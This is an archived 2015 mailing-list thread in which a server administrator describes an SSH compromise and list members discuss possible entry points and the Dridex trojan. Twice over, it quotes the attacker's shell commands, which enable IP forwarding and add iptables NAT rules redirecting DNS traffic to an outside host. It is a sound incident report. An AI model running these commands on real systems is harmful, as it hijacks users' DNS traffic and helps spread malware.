21 Oct
2015
21 Oct
'15
3:15 p.m.
Earlier this month, a Greek IP address failed to login to five WordPress
sites on two of my servers - not on BitFolk. One attempt each on four
sites, and seven on another spread over several days.
On Tuesday last week, it was blocked for 24 hours by both of them after
five failed attempts to login via ssh.
On Wednesday, it succeeded on one of them. Given the strength of the
password, the fact that it's not used (by me) anywhere else, and the
chance of doing this by random, I would quite like to know *how*.
I did login over ssh that day via my mobile, but there is no sign that
my phone is compromised - I logged into three other servers that day,
and none of them have seen this happen. Similarly, if my PC had an
issue, I would expect the other servers to be affected.
I would be wondering about the other people who know the password for
this one except that if it knew the password, why did the IP address
fail the previous day?
Two other 'not me' IP addresses have also since managed it, most
recently on Sunday.
What I can see that they did was firstly...
netstat -napu
cat /etc/resolv.conf
cat /etc/bind/named.conf.default-zones
ifconfig
echo "1" > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT
--to-destination 176.9.74.8:10054
iptables -t nat -A POSTROUTING -p udp -j MASQUERADE
iptables -t nat -L -v -n
iptables -t nat -L -v -n
ifconfig
iptables -L -v -n -x
iptables -I OUTPUT -p udp --sport 53 -j ACCEPT
iptables -I OUTPUT -p udp --dport 53 -j ACCEPT
iptables -L -v -n -x
exit
netstat -napu
exit
.. which, if I understand it correctly, is redirecting DNS requests to
that IP address (various sites reckon that's a site in Germany,
chipmanuals.com, apparently owned by someone in Tbilisi, Georgia...)
Secondly, on Sunday various files were placed in /tmp/.estbuild
including a copy of nginx.
This seems to have been serving a version of the Dridex trojan in the
form of a Windows .exe file from (domain name)/uniq/* before passing the
request onto Apache to 404 the /uniq/ URLs. Fortunately, because of how
it was set up, only requests to the server's own domain name were
affected and it looks like that only had about three human visitors in
that time, one of whom complained.
Obviously more could have happened - there's nothing else odd in various
log files, but clearly they cannot be completely trusted.
On the plus side, this was the server that was first in my queue to
replace with one running Debian Jessie, and it has been ten years since
anything like this has happened to me,* but grrr...
Ian
* The person who ended up being the boss of a former workplace opened an
executable attachment in an email both 'to' and 'from' them that they
knew they hadn't sent, but they "wanted to know what it was..."
21 Oct
21 Oct
4:46 p.m.
Was all the logins attempts over SSH or the WordPress software? Are you
sure they did not gain access some other way, found the password and then
logged in again over SSH?
This white paper that covers the malware you mentioned says that the main
infection method is by phising the administrator. See page 4. You should
probably run a scan on your other devices as well.
https://www.blueliv.com/downloads/documentation/reports/Network_insights_of…
On Wed, Oct 21, 2015 at 5:15 PM, Ian <ian(a)lovingboth.com> wrote:
Earlier this month, a Greek IP address failed to login
to five WordPress
sites on two of my servers - not on BitFolk. One attempt each on four
sites, and seven on another spread over several days.
On Tuesday last week, it was blocked for 24 hours by both of them after
five failed attempts to login via ssh.
On Wednesday, it succeeded on one of them. Given the strength of the
password, the fact that it's not used (by me) anywhere else, and the chance
of doing this by random, I would quite like to know *how*.
I did login over ssh that day via my mobile, but there is no sign that my
phone is compromised - I logged into three other servers that day, and none
of them have seen this happen. Similarly, if my PC had an issue, I would
expect the other servers to be affected.
I would be wondering about the other people who know the password for this
one except that if it knew the password, why did the IP address fail the
previous day?
Two other 'not me' IP addresses have also since managed it, most recently
on Sunday.
What I can see that they did was firstly...
netstat -napu
cat /etc/resolv.conf
cat /etc/bind/named.conf.default-zones
ifconfig
echo "1" > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to-destination
176.9.74.8:10054
iptables -t nat -A POSTROUTING -p udp -j MASQUERADE
iptables -t nat -L -v -n
iptables -t nat -L -v -n
ifconfig
iptables -L -v -n -x
iptables -I OUTPUT -p udp --sport 53 -j ACCEPT
iptables -I OUTPUT -p udp --dport 53 -j ACCEPT
iptables -L -v -n -x
exit
netstat -napu
exit
.. which, if I understand it correctly, is redirecting DNS requests to
that IP address (various sites reckon that's a site in Germany,
chipmanuals.com, apparently owned by someone in Tbilisi, Georgia...)
Secondly, on Sunday various files were placed in /tmp/.estbuild including
a copy of nginx.
This seems to have been serving a version of the Dridex trojan in the form
of a Windows .exe file from (domain name)/uniq/* before passing the request
onto Apache to 404 the /uniq/ URLs. Fortunately, because of how it was set
up, only requests to the server's own domain name were affected and it
looks like that only had about three human visitors in that time, one of
whom complained.
Obviously more could have happened - there's nothing else odd in various
log files, but clearly they cannot be completely trusted.
On the plus side, this was the server that was first in my queue to
replace with one running Debian Jessie, and it has been ten years since
anything like this has happened to me,* but grrr...
Ian
* The person who ended up being the boss of a former workplace opened an
executable attachment in an email both 'to' and 'from' them that they
knew
they hadn't sent, but they "wanted to know what it was..."
_______________________________________________
users mailing list
users(a)lists.bitfolk.com
https://lists.bitfolk.com/mailman/listinfo/users
--
My PGP is available at: http://downgoat.net/contact/
8:13 p.m.
Sindre Smistad said:
Was all the logins attempts over SSH or the WordPress
software? Are you
sure they did not gain access some other way, found the password and
then logged in again over SSH?
SSH. I have - infamously :) - a fail2ban filter for wp-login. It's
possible that the attacker previously tried with other IP addresses
against WordPress, but if they had been successful, I would expect them
to have exploited that directly.
This white paper that covers the malware you mentioned
says that the
main infection method is by phising the administrator. See page 4. You
should probably run a scan on your other devices as well.
I've looked at the various PCs etc here without finding anything. That
doesn't mean it's not there - a scanning service I used to look at the
payload being sent out reckoned that ClamAV didn't detect it as being nasty.
I notice the common form of infection is via MS Office document macros -
it's LibreOffice here, with untrusted macros disabled.. and no sources
trusted.
Rodrigo Campos said:
Is the ssh password compromised the same in some
wordpress user? If
that is the case, it might be done using this attack:
https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplifi…
I've disabled the XML-RPC API completely using a plugin. Wordpress
has not released any version fixing this.
I had not disabled it - the WordPress Android program needs it - but I
do have a fail2ban on accessing it more than a handful of times. There
were only about 16 accesses to xmlrpc.php on the Wednesday (an otherwise
typical day) spread across about that many sites.
The attacks on WordPress are getting more sophisticated - I can see IP
addresses using xmlrpc to find out what usernames actually exist before
trying to hack them. At one point, the vast majority would just (usually
correctly) assume that there was one called 'admin'..
.. so I've just disabled it on a couple of servers, even if that does
annoy a couple of people.
What was the server running? You may want to take
Logjam attack into
account
(https://weakdh.org/sysadmin.html). I can't say it
was that, but it
*might* be a
possibility.
Debian Wheezy. I'll have a look at that.
Ian
5:08 p.m.
On Wed, Oct 21, 2015 at 04:15:24PM +0100, Ian wrote:
Earlier this month, a Greek IP address failed to login
to five WordPress
sites on two of my servers - not on BitFolk. One attempt each on four sites,
and seven on another spread over several days.
On Tuesday last week, it was blocked for 24 hours by both of them after five
failed attempts to login via ssh.
On Wednesday, it succeeded on one of them. Given the strength of the
password, the fact that it's not used (by me) anywhere else, and the chance
of doing this by random, I would quite like to know *how*.
Is the ssh password compromised the same in some wordpress user? If that is the
case, it might be done using this attack:
https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplifi…
I've disabled the XML-RPC API completely using a plugin. Wordpress has not
released any version fixing this.
On the plus side, this was the server that was first
in my queue to replace
with one running Debian Jessie, and it has been ten years since anything
like this has happened to me,* but grrr...
What was the server running? You may want to take Logjam attack into account
(https://weakdh.org/sysadmin.html). I can't say it was that, but it *might* be a
possibility.
Thanks,
Rodrigo
8:56 p.m.
On Wed, Oct 21, 2015 at 04:15:24PM +0100, Ian wrote:
I would be wondering about the other people who know
the password
for this one except that if it knew the password, why did the IP
address fail the previous day?
It may simply be that they got the passwords wrong the first few times?
It looks like manual login attepmts (given that they tried a few times
to get iptables right), so this may well be the explanation.
.. which, if I understand it correctly, is redirecting
DNS requests
to that IP address (various sites reckon that's a site in Germany,
chipmanuals.com, apparently owned by someone in Tbilisi, Georgia...)
Which of course may also be compromised.
Secondly, on Sunday various files were placed in
/tmp/.estbuild
including a copy of nginx.
This seems to have been serving a version of the Dridex trojan in
the form of a Windows .exe file from (domain name)/uniq/* before
passing the request onto Apache to 404 the /uniq/ URLs. Fortunately,
because of how it was set up, only requests to the server's own
domain name were affected and it looks like that only had about
three human visitors in that time, one of whom complained.
Yes, that looks like Dridex, see e.g.
https://twitter.com/khast3x/status/656390695062740992
FWIW I think XML-RPC is an unlikely attack factor, assuming the password
isn't a dictionary word or something similar. The attack speeds up
brute-force attacks significantly, but it remains brute-force.
Logjam sounds even less likely, as it's relatively expensive and
requires a man-in-the-middle position.
Also, I think the root access they got on the server is far more
powerful than merely having access to WordPress. So it's not impossible
that they used the latter kind of access and somehow used that to
escalate to SSH.
Are you ok with me forwarding your email to some security researchers?
They'd probably be happy to help you. Dridex survived a huge takedown
effort from the FBI and others (the botherder was arrested). This makes
it a very hot topic in security circles.
Martijn.
3130
days inactive
3130
days old
4 comments
4 participants
participants (4)
-
Ian -
Martijn Grooten -
Rodrigo Campos -
Sindre Smistad